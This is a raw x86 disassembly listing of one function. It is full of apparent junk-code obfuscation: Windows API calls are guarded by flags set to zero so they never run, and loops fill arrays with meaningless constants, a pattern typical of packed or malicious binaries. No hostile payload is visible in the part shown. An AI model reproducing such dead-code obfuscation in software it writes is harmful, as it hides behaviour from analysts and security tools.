mov ecx, dword [ebp + ecx - 0x2184]
cmp dword [ebp + eax - 0x2184], ecx
jl 0x46e111
mov dword [ebp - 0xcc0], 0x4f833fcb
mov dword [ebp - 0x2a18], 0xffffffff
mov dword [ebp - 0xb4], 0xfffffffd
mov dword [ebp - 0x5b0], 0
jmp 0x46d81a
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 2
jge 0x46d836
mov eax, dword [ebp - 0x5b0]
mov dword [ebp + eax*4 - 0x934], 0x471dfd94
jmp 0x46d80d
mov byte [ebp - 0x2c5], 0
movzx eax, byte [ebp - 0x2c5]
test eax, eax
je 0x46d861
push 0x63f
push 0x1497
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
mov eax, dword [ebp - 0xcc0]
add eax, dword [ebp - 0xcc0]
je 0x46d8db
mov dword [ebp - 0x2a20], 0x6887
mov dword [ebp - 0x758], 0
jmp 0x46d892
mov eax, dword [ebp - 0x758]
inc eax
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 4
jge 0x46d8ae
mov eax, dword [ebp - 0x758]
mov dword [ebp + eax*4 - 0x3070], 0x210e164c
jmp 0x46d885
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x934]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x934], eax
jmp 0x46daa9
mov dword [ebp - 0x164], 0
jmp 0x46d8f4
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 4
jge 0x46d910
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x23f4], 0x11e0
jmp 0x46d8e7
mov dword [ebp - 0x164], 0
jmp 0x46d929
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x46d945
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x27e4], 0xa7ef23e4
jmp 0x46d91c
mov dword [ebp - 0xb4], 0
jmp 0x46d95e
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jg 0x46daa9
mov dword [ebp - 0x214c], 0xffffffff
mov dword [ebp - 0xabc], 0xc31e13ca
cmp dword [ebp - 0xb4], 0
je 0x46da27
xor eax, eax
inc eax
je 0x46d9e0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x934]
mov dword [ebp - 0x214c], eax
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x23f4]
cmp dword [ebp + eax - 0x23f4], ecx
jge 0x46d9cc
mov dword [ebp - 0x1478], 1
jmp 0x46d9d3
and dword [ebp - 0x1478], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x23f4]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x934]
mov dword [ebp - 0x2a28], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x934]
mov dword [ebp - 0xabc], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x934]
cmp dword [ebp - 0xabc], eax
jl 0x46da27
mov dword [ebp - 0xcc8], 1
jmp 0x46da2e
and dword [ebp - 0xcc8], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x23f4]
cmp dword [ebp - 0xcc8], eax
jle 0x46da4f
mov dword [ebp - 0x1a20], 1
jmp 0x46da56
and dword [ebp - 0x1a20], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x934]
cmp eax, dword [ebp - 0x1a20]
je 0x46da77
mov dword [ebp - 0x2154], 1
jmp 0x46da7e
and dword [ebp - 0x2154], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x934]
mov dword [ebp - 0x2a30], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xabc]
mov dword [ebp + eax - 0x27e4], ecx
jmp 0x46d951
mov dword [ebp - 0xd10], 0x412894f
mov dword [ebp - 0x1488], 0xfffffff7
mov dword [ebp - 0x5b8], 0
jmp 0x46dad6
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 2
jge 0x46daf2
mov eax, dword [ebp - 0x5b8]
mov dword [ebp + eax*4 - 0x528], 0xd59e57ad
jmp 0x46dac9
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x528], 0x1e01
imul eax, eax, 3
cmp eax, 1
je 0x46db17
mov dword [ebp - 0xcd0], 1
jmp 0x46db1e
and dword [ebp - 0xcd0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x528]
cmp dword [ebp - 0xcd0], eax
jg 0x46db3f
mov dword [ebp - 0x1480], 1
jmp 0x46db46
and dword [ebp - 0x1480], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x528]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x528]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x528]
add ecx, dword [ebp - 0x1480]
cmp eax, ecx
je 0x46db83
mov dword [ebp - 0xcd8], 1
jmp 0x46db8a
and dword [ebp - 0xcd8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x528]
cmp dword [ebp - 0xcd8], eax
jle 0x46dbab
mov dword [ebp - 0x1850], 1
jmp 0x46dbb2
and dword [ebp - 0x1850], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x528]
cmp dword [ebp - 0x1850], eax
je 0x46dbd3
mov dword [ebp - 0xce0], 1
jmp 0x46dbda
and dword [ebp - 0xce0], 0
mov eax, dword [ebp - 0xce0]
mov dword [ebp - 0x1488], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1488]
imul ecx, dword [ebp + eax - 0x528]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x528], ecx
jg 0x46dc15
mov dword [ebp - 0xce8], 1
jmp 0x46dc1c
and dword [ebp - 0xce8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x528]
cmp eax, dword [ebp - 0xce8]
jg 0x46dc3d
mov dword [ebp - 0x1b1c], 1
jmp 0x46dc44
and dword [ebp - 0x1b1c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1b1c]
mov dword [ebp + eax - 0x528], ecx
mov byte [ebp - 0x2c7], 0
movzx eax, byte [ebp - 0x2c7]
test eax, eax
je 0x46dc74
push 0x1184
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0xa44], 0x814b11f3
mov dword [ebp - 0x58], 5
mov dword [ebp - 0x1490], 7
mov dword [ebp - 0x2f4], 0xfffffff9
mov dword [ebp - 0xc4], 0x1de9829c
mov dword [ebp - 0x760], 0
jmp 0x46dcbc
mov eax, dword [ebp - 0x760]
inc eax
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 3
jge 0x46dcd8
mov eax, dword [ebp - 0x760]
mov dword [ebp + eax*4 - 0x22dc], 0xbd42ca8c
jmp 0x46dcaf
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x2a38], eax
mov eax, 0xb979
test eax, eax
je 0x46dcfc
cmp dword [ebp - 0x58], 0
je 0x46dcfc
mov dword [ebp - 0xcf0], 1
jmp 0x46dd03
and dword [ebp - 0xcf0], 0
mov eax, dword [ebp - 0xcf0]
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0
je 0x46dd1c
cmp dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x2a40], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x22dc], 0x223f
mov eax, 0x223f
cmp eax, 0xf746
jl 0x46dd4e
mov dword [ebp - 0xcf8], 1
jmp 0x46dd55
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1490], eax
mov eax, dword [ebp - 0x1490]
mov ecx, dword [ebp - 0xcf8]
lea eax, [eax + ecx + 0x79cc]
test eax, eax
je 0x46dd87
mov dword [ebp - 0x4ec], 0xe1757117
mov dword [ebp - 0x21f4], 0xe2c0d37a
mov dword [ebp - 0x4ec], 0
jmp 0x46e13e
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0xc
jge 0x46e17e
mov byte [ebp - 0x2cb], 0
movzx eax, byte [ebp - 0x2cb]
test eax, eax
je 0x46e170
push 0x119c
push 0
push 0xb3e
push 0x2066
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x21f4], eax
jmp 0x46e131
mov dword [ebp - 0x778], 0xfffffff8
mov dword [ebp - 0x2368], 0xfffffff9
mov dword [ebp - 0x2364], 0xfffffff9
mov dword [ebp - 0x2360], 0xfffffff9
mov dword [ebp - 0x235c], 0xfffffff9
mov dword [ebp - 0x514], 0x55fd0a32
mov dword [ebp - 0x21fc], 0x94fe874d
mov dword [ebp - 0x768], 0
jmp 0x46e1dd
mov eax, dword [ebp - 0x768]
inc eax
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 1
jge 0x46e1f9
mov eax, dword [ebp - 0x768]
mov dword [ebp + eax*4 - 0x284], 0xffffffff
jmp 0x46e1d0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x284], 3
jmp 0x46e227
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x284]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x284], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x284], 0
jl 0x46e43c
mov dword [ebp - 0x23e4], 0
mov dword [ebp - 0x23e0], 0
mov dword [ebp - 0x23dc], 0
mov dword [ebp - 0x23d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x284]
mov eax, dword [ebp + eax*4 - 0x2368]
mov dword [ebp - 0x2a68], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x284]
mov dword [ebp - 0x2b4c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x284]
cmp dword [ebp + eax*4 - 0x2368], 5
je 0x46e416
mov dword [ebp - 0x4a4], 0x1a80d1c1
mov byte [ebp - 0x2cd], 0
movzx eax, byte [ebp - 0x2cd]
test eax, eax
je 0x46e2dd
push 0x1d95
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x2b54], eax
cmp dword [ebp - 0x4a4], 0
jge 0x46e2fe
mov dword [ebp - 0x14b0], 1
jmp 0x46e305
and dword [ebp - 0x14b0], 0
mov eax, dword [ebp - 0x514]
imul eax, dword [ebp - 0x14b0]
imul eax, dword [ebp - 0x4a4]
test eax, eax
jne 0x46e336
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x23e4], 0
jne 0x46e336
and dword [ebp - 0xd38], 0
jmp 0x46e340
mov dword [ebp - 0xd38], 1
mov eax, dword [ebp - 0xd38]
sub eax, 9
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x284]
je 0x46e364
mov dword [ebp - 0x1868], 1
jmp 0x46e36b
and dword [ebp - 0x1868], 0
mov eax, dword [ebp - 0x514]
cmp dword [ebp - 0x1868], eax
je 0x46e385
mov dword [ebp - 0xd40], 1
jmp 0x46e38c
and dword [ebp - 0xd40], 0
mov eax, dword [ebp - 0xd40]
sub eax, 0x1665
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x514]
inc eax
cmp eax, dword [ebp - 0x4a4]
jne 0x46e3b8
mov dword [ebp - 0x14b8], 1
jmp 0x46e3bf
and dword [ebp - 0x14b8], 0
cmp dword [ebp - 0x14b8], 0xfd8b26de
je 0x46e3d7
mov dword [ebp - 0xd48], 1
jmp 0x46e3de
and dword [ebp - 0xd48], 0
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0xd48], eax
jge 0x46e401
cmp dword [ebp - 0x514], 0
je 0x46e401
mov dword [ebp - 0x1a30], 1
jmp 0x46e408
and dword [ebp - 0x1a30], 0
mov eax, dword [ebp - 0x1a30]
mov dword [ebp - 0x21fc], eax
jmp 0x46e437
mov byte [ebp - 0x2cf], 0
movzx eax, byte [ebp - 0x2cf]
test eax, eax
je 0x46e437
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x46e20c
mov dword [ebp - 0x780], 1
mov dword [ebp - 0x110], 1
mov dword [ebp - 0x5c8], 0
jmp 0x46e469
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x46e485
mov eax, dword [ebp - 0x5c8]
mov dword [ebp + eax*4 - 0x2204], 1
jmp 0x46e45c
mov dword [ebp - 0x110], 0
jmp 0x46e49e
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jl 0x46e4bb
mov eax, dword [ebp - 0x110]
cmp dword [ebp + eax*4 - 0x2204], 0
je 0x46e4b9
jmp 0x46e4bb
jmp 0x46e491
mov dword [ebp - 0x110], 0
jmp 0x46e4d4
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffe3
jge 0x46e4ea
cmp dword [ebp - 0x110], 0
je 0x46e4e8
jmp 0x46e4ea
jmp 0x46e4c7
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2d64]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2d64], eax
mov dword [ebp - 0x4ac], 0xe8cff0ea
mov dword [ebp - 0x5d0], 0x999d94b4
mov dword [ebp - 0x770], 0
jmp 0x46e532
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 2
jge 0x46e54e
mov eax, dword [ebp - 0x770]
mov dword [ebp + eax*4 - 0x27f0], 0xfffffff9
jmp 0x46e525
mov dword [ebp - 0x4ac], 0x13
jmp 0x46e567
mov eax, dword [ebp - 0x4ac]
dec eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0xffffffee
je 0x46e6b1
mov byte [ebp - 0x2d1], 0
movzx eax, byte [ebp - 0x2d1]
test eax, eax
je 0x46e5a4
push 0x2232
push 0x602
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x27f0], 0xfc3eee2f
mov eax, 0xfc3eee2f
test eax, eax
je 0x46e5d3
cmp dword [ebp - 0x5d0], 0
je 0x46e5d3
mov dword [ebp - 0x14c0], 1
jmp 0x46e5da
and dword [ebp - 0x14c0], 0
mov eax, dword [ebp - 0x5d0]
neg eax
cmp eax, dword [ebp - 0x4ac]
jle 0x46e5f6
mov dword [ebp - 0xd50], 1
jmp 0x46e5fd
and dword [ebp - 0xd50], 0
mov eax, dword [ebp - 0x5d0]
cmp dword [ebp - 0xd50], eax
jge 0x46e617
mov dword [ebp - 0xd58], 1
jmp 0x46e61e
and dword [ebp - 0xd58], 0
mov eax, dword [ebp - 0x14c0]
cmp eax, dword [ebp - 0xd58]
jl 0x46e643
mov dword [ebp - 0x220c], 0x858f
cmp dword [ebp - 0x220c], 0
je 0x46e641
jmp 0x46e6b1
jmp 0x46e6ac
mov dword [ebp - 0x2214], 0x874b28e
mov dword [ebp - 0x221c], 0xb227d373
mov eax, dword [ebp - 0x5d0]
cmp dword [ebp - 0x2214], eax
jne 0x46e671
mov dword [ebp - 0x1870], 1
jmp 0x46e678
and dword [ebp - 0x1870], 0
mov eax, dword [ebp - 0x1870]
mov dword [ebp - 0x221c], eax
mov byte [ebp - 0x2d3], 0
movzx eax, byte [ebp - 0x2d3]
test eax, eax
je 0x46e6ac
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
jmp 0x46e55a
mov byte [ebp - 0x2d5], 0
movzx eax, byte [ebp - 0x2d5]
test eax, eax
je 0x46e6e1
push 0x2232
push 0x602
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov dword [ebp - 0x778], 0
jmp 0x46e6fa
cmp dword [ebp - 0x778], 0xe
jg 0x46ee2a
mov dword [ebp - 0x24c], 4
mov dword [ebp - 0x5d8], 0
jmp 0x46e72a
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 3
jge 0x46e746
mov eax, dword [ebp - 0x5d8]
mov dword [ebp + eax*4 - 0x2f7c], 0xffff
jmp 0x46e71d
mov dword [ebp - 0x24c], 2
jmp 0x46e75f
mov eax, dword [ebp - 0x24c]
dec eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jl 0x46e795
mov byte [ebp - 0x2d7], 0
movzx eax, byte [ebp - 0x2d7]
test eax, eax
je 0x46e793
push 0x1db3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
jmp 0x46e752
mov dword [ebp - 0x24c], 0xf
jmp 0x46e7ae
cmp dword [ebp - 0x24c], 3
jg 0x46e7fd
mov dword [ebp - 0x4f4], 0xf8067e3
mov dword [ebp - 0x2224], 0x147b80be
mov dword [ebp - 0x4f4], 0
jmp 0x46e7e4
mov dword [ebp - 0x780], 0
jmp 0x46e816
jmp 0x46bc4f
mov dword [ebp - 0x304], 1
mov dword [ebp - 0x5f8], 0xa4c8
mov dword [ebp - 0x304], 0xfffffffa
jmp 0x46ee5c
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x12
jl 0x46f166
mov dword [ebp - 0x470], 0xffff
mov dword [ebp - 0x2bac], 0x1e1c5a3d
mov dword [ebp - 0x5f0], 0
jmp 0x46ee96
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 2
jge 0x46eeb2
mov eax, dword [ebp - 0x5f0]
mov dword [ebp + eax*4 - 0x2808], 0x1188
jmp 0x46ee89
cmp dword [ebp - 0x470], 0x891c
jge 0x46eeca
mov dword [ebp - 0x1880], 1
jmp 0x46eed1
and dword [ebp - 0x1880], 0
cmp dword [ebp - 0x304], 0
jne 0x46eef3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2808], 0
jne 0x46eef3
and dword [ebp - 0xda0], 0
jmp 0x46eefd
mov dword [ebp - 0xda0], 1
mov eax, dword [ebp - 0x1880]
add eax, dword [ebp - 0xda0]
je 0x46ef28
mov dword [ebp - 0x2158], 0x32cf415d
cmp dword [ebp - 0x2158], 0
je 0x46ef23
jmp 0x46f166
jmp 0x46f161
mov dword [ebp - 0x98c], 0xfffffff6
mov dword [ebp - 0x1d28], 0xfffffffc
mov dword [ebp - 0x798], 0
jmp 0x46ef55
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 4
jge 0x46ef71
mov eax, dword [ebp - 0x798]
mov dword [ebp + eax*4 - 0x2e98], 0
jmp 0x46ef48
cmp dword [ebp - 0x470], 0
jne 0x46ef86
mov dword [ebp - 0x14e8], 1
jmp 0x46ef8d
and dword [ebp - 0x14e8], 0
cmp dword [ebp - 0x14e8], 0
ja 0x46efa2
mov dword [ebp - 0xda8], 1
jmp 0x46efa9
and dword [ebp - 0xda8], 0
cmp dword [ebp - 0xda8], 0x23a266d2
jge 0x46efc1
mov dword [ebp - 0x1bd4], 1
jmp 0x46efc8
and dword [ebp - 0x1bd4], 0
imul eax, dword [ebp - 0x1bd4], 0xb96
test eax, eax
je 0x46f040
mov dword [ebp - 0x2bb4], 0xfffffffb
mov dword [ebp - 0x470], 0xfffffff7
jmp 0x46eff9
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0xa
jle 0x46f03e
mov eax, dword [ebp - 0x98c]
inc eax
mov dword [ebp - 0x98c], eax
mov byte [ebp - 0x2df], 0
movzx eax, byte [ebp - 0x2df]
test eax, eax
je 0x46f03c
push 0x1e3d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
jmp 0x46efec
jmp 0x46f05f
mov byte [ebp - 0x3f4], 0
movzx eax, byte [ebp - 0x3f4]
test eax, eax
je 0x46f05f
push 0x1c8d
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x2bbc], eax
mov eax, dword [ebp - 0x5f8]
add eax, 0xac1e
cmp eax, dword [ebp - 0x98c]
jge 0x46f08a
mov dword [ebp - 0xdb0], 1
jmp 0x46f091
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0xdb0]
add eax, 0xd2e9
cmp eax, 0x72d5
jge 0x46f0af
mov dword [ebp - 0x14f0], 1
jmp 0x46f0b6
and dword [ebp - 0x14f0], 0
mov eax, dword [ebp - 0x5f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x304]
cmp dword [ebp - 0x304], eax
je 0x46f0e2
mov dword [ebp - 0xdb8], 1
jmp 0x46f0e9
and dword [ebp - 0xdb8], 0
cmp dword [ebp - 0xdb8], 0x7d04
jge 0x46f101
mov dword [ebp - 0x1888], 1
jmp 0x46f108
and dword [ebp - 0x1888], 0
cmp dword [ebp - 0x1888], 0xfffffffd
jl 0x46f11d
mov dword [ebp - 0xdc0], 1
jmp 0x46f124
and dword [ebp - 0xdc0], 0
imul eax, dword [ebp - 0xdc0], 0x1c8
test eax, eax
je 0x46f147
cmp dword [ebp - 0x5f8], 0
je 0x46f147
mov dword [ebp - 0x14f8], 1
jmp 0x46f14e
and dword [ebp - 0x14f8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14f8]
mov dword [ebp + eax - 0x2e98], ecx
jmp 0x46ee4f
mov byte [ebp - 0x35d], 0
mov dword [ebp - 0x1fd0], 0x7ca0029b
mov dword [ebp - 0x7a0], 0
jmp 0x46f190
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 2
jge 0x46f1ac
mov eax, dword [ebp - 0x7a0]
mov dword [ebp + eax*4 - 0x2814], 3
jmp 0x46f183
mov byte [ebp - 0x29c], 0
movzx eax, byte [ebp - 0x29c]
test eax, eax
je 0x46f1c4
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2814]
mov dword [ebp - 0x1fd0], eax
movzx eax, byte [ebp - 0x35d]
test eax, eax
je 0x46f1ea
push 0x68
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x1500], 0xfff8
mov dword [ebp - 0xa4c], 0x9827
mov dword [ebp - 0x994], 0x4dbf0cf
mov dword [ebp - 0x1d38], 0x335c22c9
mov dword [ebp - 0x204], 0
jmp 0x46f22b
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jge 0x46f247
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0x1d30], 0xe8f21009
jmp 0x46f21e
mov dword [ebp - 0x204], 0
jmp 0x46f260
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 2
jge 0x46f27c
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0x204c], 0xfffffff9
jmp 0x46f253
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1d30], 0xffffffff
jle 0x46f298
mov dword [ebp - 0x1a40], 1
jmp 0x46f29f
and dword [ebp - 0x1a40], 0
cmp dword [ebp - 0xa4c], 0
jbe 0x46f2b4
mov dword [ebp - 0xdc8], 1
jmp 0x46f2bb
and dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0xdc8]
mov dword [ebp - 0x994], eax
cmp dword [ebp - 0x994], 0
jne 0x46f2e2
cmp dword [ebp - 0xa4c], 0
jne 0x46f2e2
and dword [ebp - 0x2200], 0
jmp 0x46f2ec
mov dword [ebp - 0x2200], 1
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0x2bc4], eax
mov eax, dword [ebp - 0x994]
imul eax, dword [ebp - 0x1d38]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x204c]
cmp dword [ebp - 0x1a40], eax
jge 0x46f32d
mov eax, 0x7d2a
test eax, eax
jne 0x46f32d
and dword [ebp - 0xdd0], 0
jmp 0x46f337
mov dword [ebp - 0xdd0], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x204c]
cmp dword [ebp - 0xdd0], eax
jg 0x46f358
mov dword [ebp - 0xdd8], 1
jmp 0x46f35f
and dword [ebp - 0xdd8], 0
mov dword [ebp - 0x1500], 0
mov eax, dword [ebp - 0x1500]
cmp eax, dword [ebp - 0xdd8]
jg 0x46f383
mov dword [ebp - 0x1890], 1
jmp 0x46f38a
and dword [ebp - 0x1890], 0
cmp dword [ebp - 0x1890], 0xd04c
jl 0x46f3a2
mov dword [ebp - 0xde0], 1
jmp 0x46f3a9
and dword [ebp - 0xde0], 0
cmp dword [ebp - 0xde0], 0
jbe 0x46f3be
mov dword [ebp - 0x1508], 1
jmp 0x46f3c5
and dword [ebp - 0x1508], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1508]
mov dword [ebp + eax - 0x204c], ecx
cmp dword [ebp + 8], 2
jl 0x47384a
mov dword [ebp - 0x600], 0xe0648261
mov dword [ebp - 0x600], 0x17
jmp 0x46f405
mov eax, dword [ebp - 0x600]
dec eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0x16
jle 0x46f454
mov byte [ebp - 0x29e], 0
movzx eax, byte [ebp - 0x29e]
test eax, eax
je 0x46f42b
push 0x9b7
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov byte [ebp - 0x404], 0
movzx eax, byte [ebp - 0x404]
test eax, eax
je 0x46f452
push 0
push 0xb95
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x46f3f8
mov byte [ebp - 0x2a0], 0
movzx eax, byte [ebp - 0x2a0]
test eax, eax
je 0x46f48d
push 0x583
push 0
push 0xd05
push 0x475
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
mov dword [ebp - 0x1ce8], 1
mov dword [ebp - 0x1ce4], 1
mov dword [ebp - 0x1ce0], 1
mov dword [ebp - 0x1cdc], 1
mov dword [ebp - 0xa4], 0x8094a188
mov dword [ebp - 0x1b28], 0xfffffff7
mov dword [ebp - 0x2404], 0xae28de6
mov dword [ebp - 0x2400], 0xae28de6
mov dword [ebp - 0x23fc], 0xae28de6
mov dword [ebp - 0x23f8], 0xae28de6
mov dword [ebp - 0x1d40], 0xfffffff6
mov dword [ebp - 0xa4], 0
jmp 0x46f514
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jg 0x46f789
mov dword [ebp - 0x99c], 0xf054a20a
mov dword [ebp - 0x174], 0
jmp 0x46f544
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 3
jge 0x46f560
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x2de0], 5
jmp 0x46f537
mov dword [ebp - 0x174], 0
jmp 0x46f579
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 2
jge 0x46f595
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x2820], 1
jmp 0x46f56c
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp + eax*4 - 0x1ce8]
mov dword [ebp - 0x2bcc], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp + eax*4 - 0x1ce8]
mov dword [ebp - 0x2bd4], eax
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ebp + ecx*4 - 0x1ce8]
cmp dword [ebp + eax*4 - 0x1ce8], ecx
jg 0x46f5e3
mov dword [ebp - 0xde8], 1
jmp 0x46f5ea
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0xde8]
